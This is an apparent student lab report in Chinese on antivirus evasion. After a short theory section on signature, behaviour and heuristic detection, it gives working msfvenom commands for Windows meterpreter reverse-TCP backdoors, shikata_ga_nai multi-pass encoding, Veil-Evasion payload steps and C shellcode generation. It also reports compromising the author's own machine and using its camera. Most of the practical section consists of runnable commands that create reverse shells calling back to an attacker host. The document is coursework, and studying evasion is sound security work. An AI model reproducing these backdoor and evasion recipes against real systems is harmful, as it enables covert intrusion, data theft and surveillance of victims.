EXP 3 免杀原理与实践
一、基础问题回答
- 杀软是如何检测出恶意代码的?
- 根据特征来检测:恶意代码常常具有明显的特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码。
- 根据行为来检测:如果一个程序的行为是带有恶意的行为,那么这个程序也会被认为是恶意代码,有时候不是恶意代码的程序也会把查杀,因为这些程序做了一些计算机认为不安全的事情,比较常见的就是各自破解补丁或者游戏外挂等。
- 启发式检测:根据些片面特征去推断。通常是因为缺乏精确判定依据。
- 免杀是做什么?
- 使恶意软件不被AV检测出来
- 免杀的基本方法有哪些?
- 改变特征码
- 改变行为
二.实践过程
2.1 使用msf生成的后门程序
linux终端:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.53.131 LPORT=4306 -f exe > backdoor.exe
(linux的ip地址)
将生成的后门文件上传到virscan网站扫描,发现有19个软件都能发现
接下来我们通过改变特征码的方法来实现免杀:
- 编码一次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.53.131 LPORT=4306 -f exe > backdoor1.exe
- 编码十次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.53.131 LPORT=4306 -f exe > backdoor2.exe
可以看出报毒的引擎减少到16个。效果似乎并没有那么明显,根据课上所学,可能是因为编码之后总是会有差不多类似的头部来解释如何将文件还原,而杀毒软件刚好就利用这一特征进行杀毒,所以还是特征码的问题。
2.2 使用veil-evasion生成的后门程序
veil-Evasion是一个与Metasploit有点类似的软件,已经在kali虚拟机里,如果没有可以进行在线安装:sudo apt-get install veil-evasion
在终端下输入指令veil
即可打开软件,根据提示依次键入以下指令:
use python/meterpreter/rev_tcp
//设置payload
set LHOST 192.168.174.131
//设置反弹连接IP
set port 4306
//设置反弹端口4306
generate
//生成
backdoor3
//程序名
我的Linux安装了一个下午都没有成功,gg。。。所以用同学的虚拟机生成了exe文件,然后拷贝到我的电脑上使用
生成的文件可以在 其他位置->电脑 里按照它提示的目录找到
检测之后发现报毒软件少了很多,但还是有。
2.3 C语言调用Shellcode
- 在Kali里生成一个C语言格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.75.130 LPORT=4308 -f c
- 然后我选择在自己的物理机win10上编写一个c文件,就是将讲义中的代码段替换成上面linux生成的代码,并进行编译。(应该在后面运行,之前没截图)(在这个过程中我的360没有给我任何报警,真是难过)
-
- 在linux下进入MSF打开监听进程,跟之前做的实验步骤一样,这时候在win10下运行之前的c文件,这时候linux就轻易的侵入了我的电脑
试一下上次没成功的拍照功能
这次成功了
- 接下来,我们找到运行生成的4306.exe文件,送去查杀
三. 实验总结
这次的实验一和实验三对我来并没难度,但是耽误在实验二上的时间却很多,主要是因为在安装veil的时候,虚拟机总是提示缺少源文件,安装了一下午以为安装好了,结果还是用不了,最后只能借用同学的虚拟机生成文件,感谢帮助我的同学。